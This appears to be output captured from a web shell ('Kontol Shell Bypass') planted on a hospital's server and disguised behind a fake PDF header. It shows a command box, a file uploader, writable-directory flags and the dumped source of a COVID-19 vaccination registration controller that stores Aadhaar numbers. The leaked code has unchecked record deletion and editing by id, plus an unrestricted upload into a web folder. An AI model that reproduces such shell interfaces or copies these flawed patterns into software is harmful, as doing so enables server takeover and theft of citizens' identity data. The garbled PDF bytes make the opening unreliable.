%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/pdms/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/pdms/application/controllers/User.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
Class User extends CI_Controller {
	function __construct(){
		parent::__construct();
		$this->load->model(array('Home_Model'));
		$userData = $this->session->userdata('user_data');
		if($userData->id==''){
			redirect('home');
		}
	}
	public function index()
	{
		$data = array();
		$header = array();
		
		$this->load->view('_parts/header');
		$this->load->view('dashboard',$data);
		$this->load->view('_parts/footer');
	}
	
	/*
	* Function : deleteprofile
	*
	*/
	public function deletecprofile()
	{
		$data = array();
		$header = array();
		$userData = $this->session->userdata('user_data');
		$id= $this->input->get('id');
		$resp = $this->Home_Model->deleteRecord('tbl_user_registration','id', $id);
		if($resp){
			$this->session->set_flashdata('error', 'Record deleted successfully.');
			redirect('companydashboard');
		}
	}
	/*
	* Function : deleteprofile
	*
	*/
	public function deleteprofile()
	{
		$data = array();
		$header = array();
		$userData = $this->session->userdata('user_data');
		$id= base64_decode($this->input->get('id'));
		$resp = $this->Home_Model->deleteRecord('tbl_user_registration','id', $id);
		if($resp){
			$this->session->set_flashdata('error', 'Record deleted successfully.');
			redirect('dashboard');
		}
	}
	
	/*
	* Function : editcprofile
	*
	*/
	public function editcprofile()
	{
		$data = array();
		$header = array();
		$userData = $this->session->userdata('user_data');
		$header['title'] = 'Edit Your Details - Covid19 Vaccination';
		$id= $this->input->get('id');
		$data['recored'] = $this->Home_Model->getSingleRecord('tbl_user_registration','*',array('user_id'=>$userData->id,'id'=>$id));
		$data['proofArray'] = $this->Home_Model->getAllRecords('tbl_documents_master', '*', array('status'=>'1') , array('display_order'=>'ASC'));
		if($_POST){
			$this->form_validation->set_rules('id_proof','ID Proof','required');
			$this->form_validation->set_rules('aadhar_number','Aadhar Number','required');
			$this->form_validation->set_rules('full_name','Full Name','required');
			$this->form_validation->set_rules('gender','Gender','required');
			if($this->form_validation->run())
			{
				$photo_proof = $this->uploadDocuments();
				if($this->input->post('old_document')!='' && $photo_proof=='') { $photo_proof = $this->input->post('old_document'); }
				$aadhar_number = $this->input->post('aadhar_number');
				$full_name = $this->input->post('full_name');
				$id_proof = $this->input->post('id_proof');
				$gender = $this->input->post('gender');
				$email_id = $this->input->post('email_id');
				$onsite_collection = $this->input->post('onsite_collection');
				$dob = date('Y-m-d',strtotime($this->input->post('dob')));
				$data=array(
					'id_proof'=>$id_proof,
					'aadhar_number'=>$aadhar_number,
					'user_id'=>$userData->id,
					'contact_number'=>$userData->mob,
					'full_name'=>ucwords($full_name),
					'photo_proof'=>$photo_proof,
					'dob'=>$dob,
					'age'=>getAge($dob),
					'email_id'=>$email_id,
					'gender'=>$gender,
					'ip_address'=>get_client_ip(),
					'onsite_collection'=>$onsite_collection,
					'is_deleted'=>'0',
					'createdon'=>date('y-m-d H:i:s')
				);
				if($this->input->post('id')) {
					$this->Home_Model->updateinfo($tbl_name='tbl_user_registration',$data, 'id', $this->input->post('id'));
					$this->session->set_flashdata('success', 'Record updated successfully.');
					redirect('companydashboard');
				}
				
			} else {
				$this->load->view('_parts/header', $header);
				$this->load->view('edit_cprofile',$data);
				$this->load->view('_parts/footer');
			}	
		} else {
			$this->load->view('_parts/header', $header);
			$this->load->view('edit_cprofile',$data);
			$this->load->view('_parts/footer');
		}
	}
	/*
	* Function : editprofile
	*
	*/
	public function editprofile()
	{
		$data = array();
		$header = array();
		$userData = $this->session->userdata('user_data');
		$header['title'] = 'Edit Your Details - Covid 19 Vaccination';
		$id= base64_decode($this->input->get('id'));
		$data['recored'] = $this->Home_Model->getSingleRecord('tbl_user_registration','*',array('user_id'=>$userData->id,'id'=>$id));
		$data['proofArray'] = $this->Home_Model->getAllRecords('tbl_documents_master', '*', array('status'=>'1') , array('display_order'=>'ASC')); 
		$data['idproofArray'] = $this->Home_Model->getAllRecords('tbl_documents_master', '*', array('status'=>'0') , array('display_order'=>'ASC')); 
		$data['companyArray'] = $this->Home_Model->getAllRecords('tbl_company_master', '*', array('status'=>'1') , array('display_order'=>'ASC'));
		if($_POST){
				if($_POST['vaccination_type']=='2') {
					$this->form_validation->set_rules('company_name','Company Name','required');
					$this->form_validation->set_rules('other_id_proof','ID Proof','required');
					$this->form_validation->set_rules('aadhar_number', 'Aadhar Number', 'required|regex_match[/^[0-9]{12}$/]');
				} else {
					$this->form_validation->set_rules('id_proof','ID Proof','required');
					$this->form_validation->set_rules('aadhar_number','Aadhar Number','required');
				}
				
				$this->form_validation->set_rules('full_name','Full Name','required');
				$this->form_validation->set_rules('gender','Gender','required');
				$this->form_validation->set_rules('dob','Date of birth','required');
				
			if($this->form_validation->run())
			{
				$photo_proof = $this->uploadDocuments();
				if($this->input->post('old_document')!='' && $photo_proof=='') { $photo_proof = $this->input->post('old_document'); }
				$aadhar_number = $this->input->post('aadhar_number');
				$full_name = $this->input->post('full_name');
				$vaccination_type = $this->input->post('vaccination_type');
				if($vaccination_type=='2') {
					$id_proof = $this->input->post('other_id_proof');
				} else {
					$id_proof = $this->input->post('id_proof');
				}
				$gender = $this->input->post('gender');
				$company_name = $this->input->post('company_name');
				$email_id = $this->input->post('email_id');
				$onsite_collection = $this->input->post('onsite_collection');
				$dob = date('Y-m-d',strtotime($this->input->post('dob')));
				$data=array(
					'vaccination_type'=>$vaccination_type,
					'company_name'=>$company_name,
					'id_proof'=>$id_proof,
					'aadhar_number'=>$aadhar_number,
					'user_id'=>$userData->id,
					'contact_number'=>$userData->mob,
					'full_name'=>ucwords($full_name),
					'photo_proof'=>$photo_proof,
					'dob'=>$dob,
					'age'=>getAge($dob),
					'email_id'=>$email_id,
					'gender'=>$gender,
					'ip_address'=>get_client_ip(),
					'onsite_collection'=>$onsite_collection,
					'is_deleted'=>'0',
					'createdon'=>date('y-m-d H:i:s')
				);
				if($this->input->post('id')) {
					$this->Home_Model->updateinfo($tbl_name='tbl_user_registration',$data, 'id', $this->input->post('id'));
					$this->session->set_flashdata('success', 'Record updated successfully.');
					redirect('dashboard');
				}
				
			} else {
				$this->load->view('_parts/header', $header);
				$this->load->view('edit_profile',$data);
				$this->load->view('_parts/footer');
			}	
		} else {
			$this->load->view('_parts/header', $header);
			$this->load->view('edit_profile',$data);
			$this->load->view('_parts/footer');
		}
	}
	public function viewprofile()
	{
		  $userData = $this->session->userdata('user_data');
		 if($this->input->post('id')){
            $data['records'] = $records = $this->Home_Model->getSingleRecord('tbl_user_registration','*', array('id'=>$this->input->post('id'),'user_id'=>$userData->id)); 
            $data['slotDetails'] = $this->Home_Model->getSingleRecord('tbl_booking_confirmation','*', array('order_id'=>$records['conf_order_id'])); 
			echo $this->load->view('view_profile', $data, true); 
        }
	}
	
	/*
	* Function : addnewprofile
	*/
	public function addnewprofile()
	{
		$data = array();
		$header = array();
		$userData = $this->session->userdata('user_data');
		$header['title'] = 'Provide Your Details for COVID 19 Vaccination';
		// Get Documents List
		$data['proofArray'] = $this->Home_Model->getAllRecords('tbl_documents_master', '*', array('status'=>'1') , array('display_order'=>'ASC')); 
		$data['idproofArray'] = $this->Home_Model->getAllRecords('tbl_documents_master', '*', array('status'=>'0') , array('display_order'=>'ASC')); 
		$data['companyArray'] = $this->Home_Model->getAllRecords('tbl_company_master', '*', array('status'=>'1') , array('display_order'=>'ASC'));
		if($_POST){
			
			if($_POST['vaccination_type']=='2') {
				$this->form_validation->set_rules('company_name','Company Name','required');
				$this->form_validation->set_rules('other_id_proof','ID Proof','required');
				$this->form_validation->set_rules('aadhar_number', 'Aadhar Number', 'required|regex_match[/^[0-9]{12}$/]');
			} else {
				$this->form_validation->set_rules('id_proof','ID Proof','required');
				$this->form_validation->set_rules('aadhar_number','Aadhar Number','required');
			}
				
				$this->form_validation->set_rules('full_name','Full Name','required');
				$this->form_validation->set_rules('gender','Gender','required');
				$this->form_validation->set_rules('dob','Date of birth','required');
			if($this->form_validation->run())
			{
				$account_type = '1';
				$company_name = $this->input->post('company_name');
				$vaccination_type = $this->input->post('vaccination_type');
				if($vaccination_type=='2') {
					$id_proof = $this->input->post('other_id_proof');
				} else {
					$id_proof = $this->input->post('id_proof');
				}
				
				$photo_proof = $this->uploadDocuments();
				$aadhar_number = $this->input->post('aadhar_number');
				$full_name = $this->input->post('full_name');
				$email_id = $this->input->post('email_id');
				$address = $this->input->post('address');
				$gender = $this->input->post('gender');
				$dob = date('Y-m-d',strtotime($this->input->post('dob'))); //getAge($this->input->post('dob'));
				$age = getAge($dob);
				$onsite_collection = $this->input->post('onsite_collection');
				$data=array(
					'vaccination_type'=>$vaccination_type,
					'company_name'=>$company_name,
					'account_type'=>$account_type,
					'id_proof'=>$id_proof,
					'aadhar_number'=>$aadhar_number,
					'user_id'=>$userData->id,
					'dob'=>$dob,
					'contact_number'=>$userData->mob,
					'email_id'=>$email_id,
					'address'=>$address,
					'status'=>'3',
					'age'=>$age,
					'full_name'=>ucwords($full_name),
					'photo_proof'=>$photo_proof,
					'onsite_collection'=>$onsite_collection,
					'is_deleted'=>'0',
					'ip_address'=>get_client_ip(),
					'other_member'=>'1',
					'createdon'=>date('y-m-d H:i:s')
				);
				$this->Home_Model->saveinfo($tbl_name='tbl_user_registration',$data);
				redirect('dashboard');
				
			} else {
				$this->load->view('_parts/header');
				$this->load->view('my_profile',$data);
				$this->load->view('_parts/footer');
			}	
		} else { 
			
			$recored = $this->Home_Model->getSingleRecord('tbl_user_registration','*',array('user_id'=>$userData->id));
		
			$this->load->view('_parts/header', $header);
			$this->load->view('my_profile',$data);
			$this->load->view('_parts/footer');
		}
	}
	
	/*
	* Function : profile
	*/
	public function profile()
	{
		$data = array();
		$header = array();
		$userData = $this->session->userdata('user_data');
		$header['title'] = 'Provide Your Details for COVID 19 Vaccination';
		// Get Documents List
		$data['proofArray'] = $this->Home_Model->getAllRecords('tbl_documents_master', '*', array('status'=>'1') , array('display_order'=>'ASC')); 
		$data['idproofArray'] = $this->Home_Model->getAllRecords('tbl_documents_master', '*', array('status'=>'0') , array('display_order'=>'ASC')); 
		$data['companyArray'] = $this->Home_Model->getAllRecords('tbl_company_master', '*', array('status'=>'1') , array('display_order'=>'ASC'));
		if($_POST){
			
			if($_POST['vaccination_type']=='2') {
				$this->form_validation->set_rules('company_name','Company Name','required');
				$this->form_validation->set_rules('other_id_proof','ID Proof','required');
			} else {
				$this->form_validation->set_rules('id_proof','ID Proof','required');
			}
				$this->form_validation->set_rules('aadhar_number','Aadhar Number','required');
				$this->form_validation->set_rules('full_name','Full Name','required');
				$this->form_validation->set_rules('gender','Gender','required');
				$this->form_validation->set_rules('dob','Date of birth','required');
			if($this->form_validation->run())
			{
				$account_type = '1';
				$company_name = $this->input->post('company_name');
				$vaccination_type = $this->input->post('vaccination_type');
				if($vaccination_type=='2') {
					$id_proof = $this->input->post('other_id_proof');
				} else {
					$id_proof = $this->input->post('id_proof');
				}
				
				$photo_proof = $this->uploadDocuments();
				$aadhar_number = $this->input->post('aadhar_number');
				$full_name = $this->input->post('full_name');
				$email_id = $this->input->post('email_id');
				$address = $this->input->post('address');
				$gender = $this->input->post('gender');
				$dob = date('Y-m-d',strtotime($this->input->post('dob'))); //getAge($this->input->post('dob'));
				$age = getAge($dob);
				$onsite_collection = $this->input->post('onsite_collection');
				$data=array(
					'vaccination_type'=>$vaccination_type,
					'company_name'=>$company_name,
					'account_type'=>$account_type,
					'id_proof'=>$id_proof,
					'aadhar_number'=>$aadhar_number,
					'user_id'=>$userData->id,
					'dob'=>$dob,
					'contact_number'=>$userData->mob,
					'email_id'=>$email_id,
					'address'=>$address,
					'status'=>'3',
					'age'=>$age,
					'full_name'=>ucwords($full_name),
					'photo_proof'=>$photo_proof,
					'gender'=>$gender,
					'onsite_collection'=>$onsite_collection,
					'is_deleted'=>'0',
					'createdon'=>date('y-m-d H:i:s')
				);
				$this->Home_Model->saveinfo($tbl_name='tbl_user_registration',$data);
				redirect('dashboard');
				
			} else {
				$this->load->view('_parts/header');
				$this->load->view('my_profile',$data);
				$this->load->view('_parts/footer');
			}	
		} else { 
			
			$recored = $this->Home_Model->getSingleRecord('tbl_user_registration','*',array('user_id'=>$userData->id));
			if($recored['user_id']>0){
				$this->session->set_flashdata('success', 'Welcome to dashboard.');
				if($recored['account_type']=='2') {
					redirect('companydashboard');
				} else {
					redirect('dashboard');
				}
				
			}
			$this->load->view('_parts/header', $header);
			$this->load->view('my_profile',$data);
			$this->load->view('_parts/footer');
		}
	}
	/*
	* Function : bulkupload
	* Description : Upload the user Documents 
	*/
	public function bulkupload(){
		$data = array();
		$header = array();
		$userData = $this->session->userdata('user_data');
		$header['title'] = 'Bulk Upload for Company COVID 19 Vaccination';
		$this->load->view('_parts/header', $header);
		$this->load->view('company-upload',$data);
		$this->load->view('_parts/footer');
	}
	
	/*
	* Function : uploadDocuments
	* Description : Upload the user Documents 
	*/
	private function uploadDocuments()
    {
		$config['upload_path'] = './attachments/documents/';
        $config['allowed_types'] = 'gif|jpg|png|jpeg|JPG|PNG|JPEG|PDF|pdf|SVG|svg|avi|mp4|3gp|mpeg|mpg|mov|mp3|flv|wmv';
		
        $this->load->library('upload', $config);
        $this->upload->initialize($config);
        if (!$this->upload->do_upload('photo_proof')) {
            log_message('error', 'Image Upload Error: ' . $this->upload->display_errors());
        }
        $img = $this->upload->data();
        return $img['file_name'];
    }
	
	
	// level functions end
	function importdata()
	{	
		$data = array();
		$logged_in = $this->session->userdata('user_data');
		$profile_data = $this->session->userdata('profile_data');
		$this->load->helper('xlsimport/php-excel-reader/excel_reader2');
	    $this->load->helper('xlsimport/spreadsheetreader.php');
	  
		if(isset($_FILES['xlsfile'])){
			$targets = 'attachments/xls/';
			$targets = $targets . basename( $_FILES['xlsfile']['name']);
			$docadd=($_FILES['xlsfile']['name']);
			if(move_uploaded_file($_FILES['xlsfile']['tmp_name'], $targets)){
				$Filepath = $targets;
				$allxlsdata = array();
				date_default_timezone_set('UTC');

				$StartMem = memory_get_usage();
				//echo '---------------------------------'.PHP_EOL;
				//echo 'Starting memory: '.$StartMem.PHP_EOL;
				//echo '---------------------------------'.PHP_EOL;

				try
				{
					$Spreadsheet = new SpreadsheetReader($Filepath);
					$BaseMem = memory_get_usage();

					$Sheets = $Spreadsheet -> Sheets();

					//echo '---------------------------------'.PHP_EOL;
					//echo 'Spreadsheets:'.PHP_EOL;
					//print_r($Sheets);
					//echo '---------------------------------'.PHP_EOL;
					//echo '---------------------------------'.PHP_EOL;

					foreach ($Sheets as $Index => $Name)
					{
						//echo '---------------------------------'.PHP_EOL;
						//echo '*** Sheet '.$Name.' ***'.PHP_EOL;
						//echo '---------------------------------'.PHP_EOL;

						$Time = microtime(true);

						$Spreadsheet -> ChangeSheet($Index);

						foreach ($Spreadsheet as $Key => $Row)
						{
							//echo $Key.': ';
							if ($Row)
							{
								//print_r($Row);
								//$Row['11'] = $logged_in['uid'];
								$allxlsdata[] = $Row;
							}
							else
							{
								var_dump($Row);
							}
							$CurrentMem = memory_get_usage();
					
							//echo 'Memory: '.($CurrentMem - $BaseMem).' current, '.$CurrentMem.' base'.PHP_EOL;
							//echo '---------------------------------'.PHP_EOL;
					
							if ($Key && ($Key % 500 == 0))
							{
								//echo '---------------------------------'.PHP_EOL;
								//echo 'Time: '.(microtime(true) - $Time);
								//echo '---------------------------------'.PHP_EOL;
							}
						}
					
					//	echo PHP_EOL.'---------------------------------'.PHP_EOL;
						//echo 'Time: '.(microtime(true) - $Time);
						//echo PHP_EOL;

						//echo '---------------------------------'.PHP_EOL;
						//echo '*** End of sheet '.$Name.' ***'.PHP_EOL;
						//echo '---------------------------------'.PHP_EOL;
					}
					
				}
				catch (Exception $E)
				{
					echo $E -> getMessage();
				}
				$this->Home_Model->import_user($allxlsdata, $profile_data);   
			}
			
	}  else{
			echo "Error: " . $_FILES["file"]["error"];
	}	
		$this->session->set_flashdata('success', 'Bulk data added successfully.');
		//setHistory('Go to import user module');
		redirect('companydashboard');
	}
	

}	

Kontol Shell Bypass